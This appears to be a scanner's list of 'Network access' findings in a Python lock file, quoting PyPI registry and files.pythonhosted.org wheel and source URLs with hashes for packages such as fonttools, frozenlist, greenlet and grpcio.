    wheels = [     { url = "https://files.pythonhosted.org/packages/62/01/a7171c5e2e8755597bd8f1c1eb228a0876f502afdf25f936061f5dbe2880/cuda_pathfinder-1.7.0-py3-none-any.whl", hash = "sha256:e9d67e950f3d5992b854dfd25917c3719d0c21d3057b11abe86ba
  • Network accessline 262
    { url = "https://files.pythonhosted.org/packages/62/01/a7171c5e2e8755597bd8f1c1eb228a0876f502afdf25f936061f5dbe2880/cuda_pathfinder-1.7.0-py3-none-any.whl", hash = "sha256:e9d67e950f3d5992b854dfd25917c3719d0c21d3057b11abe86ba6feec526138", s
  • Network accessline 266
    name = "cuda-toolkit" version = "13.0.3.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 267
    version = "13.0.3.0" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 268
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 269
    wheels = [     { url = "https://files.pythonhosted.org/packages/d1/c7/a79086a62c98befcdb8349656c6f114e2db3b8b2422f6e25c97a7f2a9a3c/cuda_toolkit-13.0.3.0-py2.py3-none-any.whl", hash = "sha256:d693caaa261214ddd7dbb60d68e71cbed884e68c2be750977
  • Network accessline 270
    { url = "https://files.pythonhosted.org/packages/d1/c7/a79086a62c98befcdb8349656c6f114e2db3b8b2422f6e25c97a7f2a9a3c/cuda_toolkit-13.0.3.0-py2.py3-none-any.whl", hash = "sha256:d693caaa261214ddd7dbb60d68e71cbed884e68c2be7509778f3051da0b91c3f
  • Network accessline 315
    name = "cycler" version = "0.12.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 316
    version = "0.12.1" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/a9/95/a3dbbb5028f35eafb79008e7522a75244477d2838f38cbb722248dabc2a8/cycler-0.12.1.tar.gz", hash = "sha256:88bb128f
  • Network accessline 317
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 318
    sdist = { url = "https://files.pythonhosted.org/packages/a9/95/a3dbbb5028f35eafb79008e7522a75244477d2838f38cbb722248dabc2a8/cycler-0.12.1.tar.gz", hash = "sha256:88bb128f02ba341da8ef447245a9e138fae777f6a23943da4540077d3601eb1c", size = 7615
  • Network accessline 319
    wheels = [     { url = "https://files.pythonhosted.org/packages/e7/05/c19819d5e3d95294a6f5947fb9b9629efb316b96de511b418c53d245aae6/cycler-0.12.1-py3-none-any.whl", hash = "sha256:85cef7cff222d8644161529808465972e51340599459b8ac3ccbac5a854e0
  • Network accessline 320
    { url = "https://files.pythonhosted.org/packages/e7/05/c19819d5e3d95294a6f5947fb9b9629efb316b96de511b418c53d245aae6/cycler-0.12.1-py3-none-any.whl", hash = "sha256:85cef7cff222d8644161529808465972e51340599459b8ac3ccbac5a854e0d30", size = 83
  • Network accessline 324
    name = "einops" version = "0.8.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 325
    version = "0.8.2" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/2c/77/850bef8d72ffb9219f0b1aac23fbc1bf7d038ee6ea666f331fa273031aa2/einops-0.8.2.tar.gz", hash = "sha256:609da66557
  • Network accessline 326
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 327
    sdist = { url = "https://files.pythonhosted.org/packages/2c/77/850bef8d72ffb9219f0b1aac23fbc1bf7d038ee6ea666f331fa273031aa2/einops-0.8.2.tar.gz", hash = "sha256:609da665570e5e265e27283aab09e7f279ade90c4f01bcfca111f3d3e13f2827", size = 56261
  • Network accessline 328
    wheels = [     { url = "https://files.pythonhosted.org/packages/2a/09/f8d8f8f31e4483c10a906437b4ce31bdf3d6d417b73fe33f1a8b59e34228/einops-0.8.2-py3-none-any.whl", hash = "sha256:54058201ac7087911181bfec4af6091bb59380360f069276601256a76af081
  • Network accessline 329
    { url = "https://files.pythonhosted.org/packages/2a/09/f8d8f8f31e4483c10a906437b4ce31bdf3d6d417b73fe33f1a8b59e34228/einops-0.8.2-py3-none-any.whl", hash = "sha256:54058201ac7087911181bfec4af6091bb59380360f069276601256a76af08193", size = 656
  • Network accessline 333
    name = "filelock" version = "3.32.4" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 334
    version = "3.32.4" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/6d/30/03b03951873a1a0ffc7e8ca0e10c15597b59e8d0e39260704cd2ea087bc4/filelock-3.32.4.tar.gz", hash = "sha256:2bde2e
  • Network accessline 335
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 336
    sdist = { url = "https://files.pythonhosted.org/packages/6d/30/03b03951873a1a0ffc7e8ca0e10c15597b59e8d0e39260704cd2ea087bc4/filelock-3.32.4.tar.gz", hash = "sha256:2bde2e4cf732e0153406d8a7bc80620ecf5e621fe0d25e41143c4e3b4733ff30", size = 22
  • Network accessline 337
    wheels = [     { url = "https://files.pythonhosted.org/packages/01/a4/9b63d595d748e3aff8812b65eacc1a2c4bd90b7c2012e08e72373b4835eb/filelock-3.32.4-py3-none-any.whl", hash = "sha256:22e58ca3b1ae3b98993b762d7338367ae64fe50252bf78d59da3bfebcdf
  • Network accessline 338
    { url = "https://files.pythonhosted.org/packages/01/a4/9b63d595d748e3aff8812b65eacc1a2c4bd90b7c2012e08e72373b4835eb/filelock-3.32.4-py3-none-any.whl", hash = "sha256:22e58ca3b1ae3b98993b762d7338367ae64fe50252bf78d59da3bfebcdf1cedd", size = 
  • Network accessline 342
    name = "fonttools" version = "4.63.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 343
    version = "4.63.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/84/69/c97f2c18e0db87d2c7b15da1974dace76ae938f1cfa22e2727a648b7ed43/fonttools-4.63.0.tar.gz", hash = "sha256:caeb5
  • Network accessline 344
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 345
    sdist = { url = "https://files.pythonhosted.org/packages/84/69/c97f2c18e0db87d2c7b15da1974dace76ae938f1cfa22e2727a648b7ed43/fonttools-4.63.0.tar.gz", hash = "sha256:caeb583deeb5168e694b65cda8b4ee62abedfa66cf88488734466f2366b9c4e0", size = 3
  • Network accessline 346
    wheels = [     { url = "https://files.pythonhosted.org/packages/0f/8d/d8fec3dcde2963f8c908fb315e5ff2cd0ac34f82394bbbf73a2aa5145ce3/fonttools-4.63.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:cd7e9857e5e63738b9d9fd707bc1f59c8b0
  • Network accessline 347
    { url = "https://files.pythonhosted.org/packages/0f/8d/d8fec3dcde2963f8c908fb315e5ff2cd0ac34f82394bbbf73a2aa5145ce3/fonttools-4.63.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:cd7e9857e5e63738b9d9fd707bc1f59c8b09e5177726d23664
  • Network accessline 348
    { url = "https://files.pythonhosted.org/packages/ef/71/d935dc54e4ff121bfdd11e08702db63a7e6f25af21d8a3d7b7212df53641/fonttools-4.63.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c2a2a42198b696a6f48fad91709afb55176e66a5e566131219dba3
  • Network accessline 349
    { url = "https://files.pythonhosted.org/packages/8e/40/e76320afa1df918e146155ef239b1719ee266092e96f5423bfd075affba1/fonttools-4.63.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1e8747
  • Network accessline 350
    { url = "https://files.pythonhosted.org/packages/ce/36/0b805d8c485f872f65a509cbe3b58a5d0d17bee855333b54a150c79d3061/fonttools-4.63.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:22135da48a348785c5e2d5d2d9d6bec
  • Network accessline 351
    { url = "https://files.pythonhosted.org/packages/c8/26/2cee03d0aa083ab022da5c07aff9ed3f689da1defb81ad6917c9627896da/fonttools-4.63.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ccf41f2efdf56994d22d73bef4ced1052161958169428d06ba97
  • Network accessline 352
    { url = "https://files.pythonhosted.org/packages/7e/48/cc4b66d9058c0d0982c833fad10127c4b0e9324606aafa41382295ca4102/fonttools-4.63.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9ced0bd02ac751dd6319b0da88aaef24414e3b0dbc32bb4f24944
  • Network accessline 353
    { url = "https://files.pythonhosted.org/packages/d8/1f/a98a30a814b9ddef3a2e706025f90b9e0bc94890e6cb15254bc86547d11a/fonttools-4.63.0-cp313-cp313-win32.whl", hash = "sha256:85be818f5506e8a7753153def2c9550178f0ecae6a47b5e0e8dbb23f7cc90380", s
  • Network accessline 354
    { url = "https://files.pythonhosted.org/packages/92/46/5177b01f3b4abfdd4409f31cca4ab279c9343a26efbe9ec78c97fc612e02/fonttools-4.63.0-cp313-cp313-win_amd64.whl", hash = "sha256:ba04cb5891d4c0c21b6da95eda8d7b090021508a294fff33464fc7d241e0856b
  • Network accessline 355
    { url = "https://files.pythonhosted.org/packages/2c/47/c99d5268f354002ce80f8d029cd9d7d872969da1de8b93d32de4dc56d6f4/fonttools-4.63.0-py3-none-any.whl", hash = "sha256:445af2eab030a16b9171ea8bdda7ebf7d96bda2df88ee182a464252f6e05e20d", size =
  • Network accessline 359
    name = "frozenlist" version = "1.8.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 360
    version = "1.8.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/2d/f5/c831fac6cc817d26fd54c7eaccd04ef7e0288806943f7cc5bbf69f3ac1f0/frozenlist-1.8.0.tar.gz", hash = "sha256:3ede82
  • Network accessline 361
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 362
    sdist = { url = "https://files.pythonhosted.org/packages/2d/f5/c831fac6cc817d26fd54c7eaccd04ef7e0288806943f7cc5bbf69f3ac1f0/frozenlist-1.8.0.tar.gz", hash = "sha256:3ede829ed8d842f6cd48fc7081d7a41001a56f1f38603f9d49bf3020d59a31ad", size = 4
  • Network accessline 363
    wheels = [     { url = "https://files.pythonhosted.org/packages/2d/40/0832c31a37d60f60ed79e9dfb5a92e1e2af4f40a16a29abcc7992af9edff/frozenlist-1.8.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:8d92f1a84bb12d9e56f818b3a746f3efba9
  • Network accessline 364
    { url = "https://files.pythonhosted.org/packages/2d/40/0832c31a37d60f60ed79e9dfb5a92e1e2af4f40a16a29abcc7992af9edff/frozenlist-1.8.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:8d92f1a84bb12d9e56f818b3a746f3efba93c1b63c8387a73d
  • Network accessline 365
    { url = "https://files.pythonhosted.org/packages/30/ba/b0b3de23f40bc55a7057bd38434e25c34fa48e17f20ee273bbde5e0650f3/frozenlist-1.8.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:96153e77a591c8adc2ee805756c61f59fef4cf4073a9275ee86fe8
  • Network accessline 366
    { url = "https://files.pythonhosted.org/packages/0c/ab/6e5080ee374f875296c4243c381bbdef97a9ac39c6e3ce1d5f7d42cb78d6/frozenlist-1.8.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f21f00a91358803399890ab167098c131ec2ddd5f8f5fd5fe9c9f2c6
  • Network accessline 367
    { url = "https://files.pythonhosted.org/packages/d5/4e/e4691508f9477ce67da2015d8c00acd751e6287739123113a9fca6f1604e/frozenlist-1.8.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fb30f9626572a
  • Network accessline 368
    { url = "https://files.pythonhosted.org/packages/40/76/c202df58e3acdf12969a7895fd6f3bc016c642e6726aa63bd3025e0fc71c/frozenlist-1.8.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eaa352
  • Network accessline 369
    { url = "https://files.pythonhosted.org/packages/f9/c0/8746afb90f17b73ca5979c7a3958116e105ff796e718575175319b5bb4ce/frozenlist-1.8.0-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:03ae967b4
  • Network accessline 370
    { url = "https://files.pythonhosted.org/packages/7e/eb/4c7eefc718ff72f9b6c4893291abaae5fbc0c82226a32dcd8ef4f7a5dbef/frozenlist-1.8.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f6292f
  • Network accessline 371
    { url = "https://files.pythonhosted.org/packages/c2/4e/e5c02187cf704224f8b21bee886f3d713ca379535f16893233b9d672ea71/frozenlist-1.8.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:29548f9b5b5e
  • Network accessline 372
    { url = "https://files.pythonhosted.org/packages/1f/96/cb85ec608464472e82ad37a17f844889c36100eed57bea094518bf270692/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ec3cc8c5d4084591b4237c0a272cc4f50a5b03396a47d9caaf76
  • Network accessline 373
    { url = "https://files.pythonhosted.org/packages/5d/6f/4ae69c550e4cee66b57887daeebe006fe985917c01d0fff9caab9883f6d0/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:517279f58009d0b1f2e7c1b130b377a349405da3f7621ed6bfae5
  • Network accessline 374
    { url = "https://files.pythonhosted.org/packages/7a/58/afd56de246cf11780a40a2c28dc7cbabbf06337cc8ddb1c780a2d97e88d8/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:db1e72ede2d0d7ccb213f218df6a078a9c09a7de257c2fe8fcef
  • Network accessline 375
    { url = "https://files.pythonhosted.org/packages/cb/36/cdfaf6ed42e2644740d4a10452d8e97fa1c062e2a8006e4b09f1b5fd7d63/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:b4dec9482a65c54a5044486847b8a66bf10c9cb4926d42927ec4e8
  • Network accessline 376
    { url = "https://files.pythonhosted.org/packages/03/a8/9ea226fbefad669f11b52e864c55f0bd57d3c8d7eb07e9f2e9a0b39502e1/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:21900c48ae04d13d416f0e1e0c4d81f7931f73a9dfa0b7a8746fb
  • Network accessline 377
    { url = "https://files.pythonhosted.org/packages/1e/0b/1b5531611e83ba7d13ccc9988967ea1b51186af64c42b7a7af465dcc9568/frozenlist-1.8.0-cp313-cp313-win32.whl", hash = "sha256:8b7b94a067d1c504ee0b16def57ad5738701e4ba10cec90529f13fa03c833496", s
  • Network accessline 378
    { url = "https://files.pythonhosted.org/packages/d8/cf/174c91dbc9cc49bc7b7aab74d8b734e974d1faa8f191c74af9b7e80848e6/frozenlist-1.8.0-cp313-cp313-win_amd64.whl", hash = "sha256:878be833caa6a3821caf85eb39c5ba92d28e85df26d57afb06b35b2efd937231
  • Network accessline 379
    { url = "https://files.pythonhosted.org/packages/c1/17/502cd212cbfa96eb1388614fe39a3fc9ab87dbbe042b66f97acb57474834/frozenlist-1.8.0-cp313-cp313-win_arm64.whl", hash = "sha256:44389d135b3ff43ba8cc89ff7f51f5a0bb6b63d829c8300f79a2fe4fe61bcc62
  • Network accessline 380
    { url = "https://files.pythonhosted.org/packages/d2/5c/3bbfaa920dfab09e76946a5d2833a7cbdf7b9b4a91c714666ac4855b88b4/frozenlist-1.8.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:e25ac20a2ef37e91c1b39938b591457666a0fa835c7783c3a
  • Network accessline 381
    { url = "https://files.pythonhosted.org/packages/d2/d6/f03961ef72166cec1687e84e8925838442b615bd0b8854b54923ce5b7b8a/frozenlist-1.8.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:07cdca25a91a4386d2e76ad992916a85038a9b97561bf7a3fd12d
  • Network accessline 382
    { url = "https://files.pythonhosted.org/packages/1e/bb/a6d12b7ba4c3337667d0e421f7181c82dda448ce4e7ad7ecd249a16fa806/frozenlist-1.8.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:4e0c11f2cc6717e0a741f84a527c52616140741cd812a50422f83dc
  • Network accessline 383
    { url = "https://files.pythonhosted.org/packages/bc/71/d1fed0ffe2c2ccd70b43714c6cab0f4188f09f8a67a7914a6b46ee30f274/frozenlist-1.8.0-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b3210649ee28
  • Network accessline 384
    { url = "https://files.pythonhosted.org/packages/c9/1f/fb1685a7b009d89f9bf78a42d94461bc06581f6e718c39344754a5d9bada/frozenlist-1.8.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:581ef
  • Network accessline 385
    { url = "https://files.pythonhosted.org/packages/e6/3b/b991fe1612703f7e0d05c0cf734c1b77aaf7c7d321df4572e8d36e7048c8/frozenlist-1.8.0-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3ef2d026
  • Network accessline 386
    { url = "https://files.pythonhosted.org/packages/ca/ec/c5c618767bcdf66e88945ec0157d7f6c4a1322f1473392319b7a2501ded7/frozenlist-1.8.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5500e
  • Network accessline 387
    { url = "https://files.pythonhosted.org/packages/7c/ce/3934758637d8f8a88d11f0585d6495ef54b2044ed6ec84492a91fa3b27aa/frozenlist-1.8.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:50066c3997d
  • Network accessline 388
    { url = "https://files.pythonhosted.org/packages/fc/4f/a7e4d0d467298f42de4b41cbc7ddaf19d3cfeabaf9ff97c20c6c7ee409f9/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:5c1c8e78426e59b3f8005e9b19f6ff46e5845895adbde20ece9
  • Network accessline 389
    { url = "https://files.pythonhosted.org/packages/dc/48/c7b163063d55a83772b268e6d1affb960771b0e203b632cfe09522d67ea5/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:eefdba20de0d938cec6a89bd4d70f346a03108a19b9df4248d3c
  • Network accessline 390
    { url = "https://files.pythonhosted.org/packages/9f/d0/2366d3c4ecdc2fd391e0afa6e11500bfba0ea772764d631bbf82f0136c9d/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:cf253e0e1c3ceb4aaff6df637ce033ff6535fb8c70a764a8f46
  • Network accessline 391
    { url = "https://files.pythonhosted.org/packages/b8/94/daff920e82c1b70e3618a2ac39fbc01ae3e2ff6124e80739ce5d71c9b920/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:032efa2674356903cd0261c4317a561a6850f3ac864a63fc15831
  • Network accessline 392
    { url = "https://files.pythonhosted.org/packages/e3/20/bba307ab4235a09fdcd3cc5508dbabd17c4634a1af4b96e0f69bfe551ebd/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:6da155091429aeba16851ecb10a9104a108bcd32f6c1642867ea
  • Network accessline 393
    { url = "https://files.pythonhosted.org/packages/fd/00/04ca1c3a7a124b6de4f8a9a17cc2fcad138b4608e7a3fc5877804b8715d7/frozenlist-1.8.0-cp313-cp313t-win32.whl", hash = "sha256:0f96534f8bfebc1a394209427d0f8a63d343c9779cda6fc25e8e121b5fd8555b", 
  • Network accessline 394
    { url = "https://files.pythonhosted.org/packages/59/5e/c69f733a86a94ab10f68e496dc6b7e8bc078ebb415281d5698313e3af3a1/frozenlist-1.8.0-cp313-cp313t-win_amd64.whl", hash = "sha256:5d63a068f978fc69421fb0e6eb91a9603187527c86b7cd3f534a5b77a592b88
  • Network accessline 395
    { url = "https://files.pythonhosted.org/packages/16/6c/be9d79775d8abe79b05fa6d23da99ad6e7763a1d080fbae7290b286093fd/frozenlist-1.8.0-cp313-cp313t-win_arm64.whl", hash = "sha256:bf0a7e10b077bf5fb9380ad3ae8ce20ef919a6ad93b4552896419ac7e1d8e04
  • Network accessline 396
    { url = "https://files.pythonhosted.org/packages/9a/9a/e35b4a917281c0b8419d4207f4334c8e8c5dbf4f3f5f9ada73958d937dcc/frozenlist-1.8.0-py3-none-any.whl", hash = "sha256:0c18a16eab41e82c295618a77502e17b195883241c563b00f0aa5106fc4eaa0d", size =
  • Network accessline 400
    name = "fsspec" version = "2026.7.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 401
    version = "2026.7.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/00/78/f34251dadb8f3921264a1d9b8946f5e542014ee2614b285261b4e40e6775/fsspec-2026.7.0.tar.gz", hash = "sha256:c803
  • Network accessline 402
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 403
    sdist = { url = "https://files.pythonhosted.org/packages/00/78/f34251dadb8f3921264a1d9b8946f5e542014ee2614b285261b4e40e6775/fsspec-2026.7.0.tar.gz", hash = "sha256:c803c40f4cf860b49dea58ee3e1c33cb9c790520e233537e1340049f89b82a88", size = 31
  • Network accessline 404
    wheels = [     { url = "https://files.pythonhosted.org/packages/fd/3c/6a2bf344106328fd04963664a60b9bb6496fc25df8e962fcdc1367285fb9/fsspec-2026.7.0-py3-none-any.whl", hash = "sha256:b57ddbafedfaef7018c1ecab32aa200a9d7ca26b77965f64e48b7006124
  • Network accessline 405
    { url = "https://files.pythonhosted.org/packages/fd/3c/6a2bf344106328fd04963664a60b9bb6496fc25df8e962fcdc1367285fb9/fsspec-2026.7.0-py3-none-any.whl", hash = "sha256:b57ddbafedfaef7018c1ecab32aa200a9d7ca26b77965f64e48b70061249d279", size = 
  • Network accessline 414
    name = "googleapis-common-protos" version = "1.75.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 415
    version = "1.75.2" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 416
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 418
    { name = "protobuf" }, ] sdist = { url = "https://files.pythonhosted.org/packages/c0/90/fb8f1c84537fbf210c1f53a53ae473a805f6599c5a40b93c1bbadd211f7a/googleapis_common_protos-1.75.2.tar.gz", hash = "sha256:8829a3d1e4508c5b7b9a6b9525f7fccff61
  • Network accessline 419
    ] sdist = { url = "https://files.pythonhosted.org/packages/c0/90/fb8f1c84537fbf210c1f53a53ae473a805f6599c5a40b93c1bbadd211f7a/googleapis_common_protos-1.75.2.tar.gz", hash = "sha256:8829a3d1e4508c5b7b9a6b9525f7fccff611f8531644579a76466c2929
  • Network accessline 420
    sdist = { url = "https://files.pythonhosted.org/packages/c0/90/fb8f1c84537fbf210c1f53a53ae473a805f6599c5a40b93c1bbadd211f7a/googleapis_common_protos-1.75.2.tar.gz", hash = "sha256:8829a3d1e4508c5b7b9a6b9525f7fccff611f8531644579a76466c29295d
  • Network accessline 421
    wheels = [     { url = "https://files.pythonhosted.org/packages/47/5b/1c9e55363c3b1890a98cae813de5b4ea327845756cd8fb7ee690140c7eac/googleapis_common_protos-1.75.2-py3-none-any.whl", hash = "sha256:6b83302f554ea93a0f48409c7fc2050f954bcbcddb7
  • Network accessline 422
    { url = "https://files.pythonhosted.org/packages/47/5b/1c9e55363c3b1890a98cae813de5b4ea327845756cd8fb7ee690140c7eac/googleapis_common_protos-1.75.2-py3-none-any.whl", hash = "sha256:6b83302f554ea93a0f48409c7fc2050f954bcbcddb7e3a9c76d4a823cb
  • Network accessline 426
    name = "greenlet" version = "3.5.5" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 427
    version = "3.5.5" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/0b/d8/7cc97c142388aef03f622e001c572c4f84e9252a439549d483f555771970/greenlet-3.5.5.tar.gz", hash = "sha256:adb4bae0
  • Network accessline 428
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 429
    sdist = { url = "https://files.pythonhosted.org/packages/0b/d8/7cc97c142388aef03f622e001c572c4f84e9252a439549d483f555771970/greenlet-3.5.5.tar.gz", hash = "sha256:adb4bae02e91a8e863e48b177e4014bdcac8a6b5e047ea1df687a61534b85e6c", size = 207
  • Network accessline 430
    wheels = [     { url = "https://files.pythonhosted.org/packages/fb/3d/8cef5f724ec0d4add2af8961d504535ec60c3cca9e464f6d03bdba29d85b/greenlet-3.5.5-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:b79fd2a5bc099b5e744f34c4c9a58954a5f4cb
  • Network accessline 431
    { url = "https://files.pythonhosted.org/packages/fb/3d/8cef5f724ec0d4add2af8961d504535ec60c3cca9e464f6d03bdba29d85b/greenlet-3.5.5-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:b79fd2a5bc099b5e744f34c4c9a58954a5f4cb7529fb4b6e84460
  • Network accessline 432
    { url = "https://files.pythonhosted.org/packages/88/4b/8e7aa3f514273aecff30a16ab1bac09ff54cfc7e6860fdd8058c37ff2499/greenlet-3.5.5-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:634cf15a233a949136879dd388e25d
  • Network accessline 433
    { url = "https://files.pythonhosted.org/packages/85/48/4e95e9dd5a8a397dc6a6345dd7f1935113d0fca4f85e89d3976da9cd988d/greenlet-3.5.5-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:499adea519f748407fc6806d20eeda
  • Network accessline 434
    { url = "https://files.pythonhosted.org/packages/89/5d/398a1c71fa7a277deeb376c999979de6786f08fc2d5747a0b9d6e11738dd/greenlet-3.5.5-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2eabb980975cba5b93a95f6f69287d05
  • Network accessline 435
    { url = "https://files.pythonhosted.org/packages/04/1b/745450fc5ea9e0cb17d840d248f284db3363de736d362c7d2d883e3eadba/greenlet-3.5.5-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:03115c2e0a371999bf8ae616aa8d653f96641d4705c457aebaa187
  • Network accessline 436
    { url = "https://files.pythonhosted.org/packages/d4/29/d51b296e3191bb15d3d81ec375af1909e4466c0f395d744ed475801798a9/greenlet-3.5.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4441153ffba21b90d3ca89fe3d31f5c093ae6c0bf0cfdfc98f54cde
  • Network accessline 437
    { url = "https://files.pythonhosted.org/packages/12/63/369f1a1625e64e9e31df3963c6044056e3fdfa3fa3fdba3c54ffefa6e987/greenlet-3.5.5-cp313-cp313-win_amd64.whl", hash = "sha256:95c5b1f4b3a193f8a0c2de4bfdcb48d119f7f1063941f1de1f2168051b3e52dd",
  • Network accessline 438
    { url = "https://files.pythonhosted.org/packages/45/78/649cb5c09d4d81f6dd1444e75474a7206784743283a21d24171562ac4899/greenlet-3.5.5-cp313-cp313-win_arm64.whl", hash = "sha256:1af90aa4bc129883b340cdd6957a3bc74f60528a4993bbd1f53aaebe1d9981cc",
  • Network accessline 442
    name = "grpcio" version = "1.83.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 443
    version = "1.83.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 444
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 446
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/0c/98/304898ac4e04e2d5e4e4c2eadc178b1f2a16d5f4bc2f91306c87d64680b9/grpcio-1.83.0.tar.gz", hash = "sha256:7674587248fbbb2ac6e4eecf83a8a0f3d91a928f941d
  • Network accessline 447
    ] sdist = { url = "https://files.pythonhosted.org/packages/0c/98/304898ac4e04e2d5e4e4c2eadc178b1f2a16d5f4bc2f91306c87d64680b9/grpcio-1.83.0.tar.gz", hash = "sha256:7674587248fbbb2ac6e4eecf83a8a0f3d91a928f941de571acfd3a2f007fbc24", size = 13
  • Network accessline 448
    sdist = { url = "https://files.pythonhosted.org/packages/0c/98/304898ac4e04e2d5e4e4c2eadc178b1f2a16d5f4bc2f91306c87d64680b9/grpcio-1.83.0.tar.gz", hash = "sha256:7674587248fbbb2ac6e4eecf83a8a0f3d91a928f941de571acfd3a2f007fbc24", size = 1342
  • Network accessline 449
    wheels = [     { url = "https://files.pythonhosted.org/packages/56/eb/135daaa713f32d33b8f99b4153b3f8dc3b2a124996ac15581bf9ebdad3c3/grpcio-1.83.0-cp313-cp313-linux_armv7l.whl", hash = "sha256:6662f3b1e07cc7493d437351860dc867bddc6a93c83ecf33b
  • Network accessline 450
    { url = "https://files.pythonhosted.org/packages/56/eb/135daaa713f32d33b8f99b4153b3f8dc3b2a124996ac15581bf9ebdad3c3/grpcio-1.83.0-cp313-cp313-linux_armv7l.whl", hash = "sha256:6662f3b1e07cc7493d437351860dc867bddc6a93c83ecf33bbfdaf0c217ab2d0
  • Network accessline 451
    { url = "https://files.pythonhosted.org/packages/8f/a1/121806ce69f23138dabe06aa595b0e5f1ae051a37e4c1954eed7d692c800/grpcio-1.83.0-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:74fe6f9e8a35c7dbf32255ee154d15e3e5338a81ed39173d079d59
  • Network accessline 452
    { url = "https://files.pythonhosted.org/packages/b0/e8/d0389e09cd6b4c4d3089b92967ae4e3ffd64795bd349bf2f85cd6656d3da/grpcio-1.83.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:10b3fa0475eb572c9a81a6fe37fa16a9
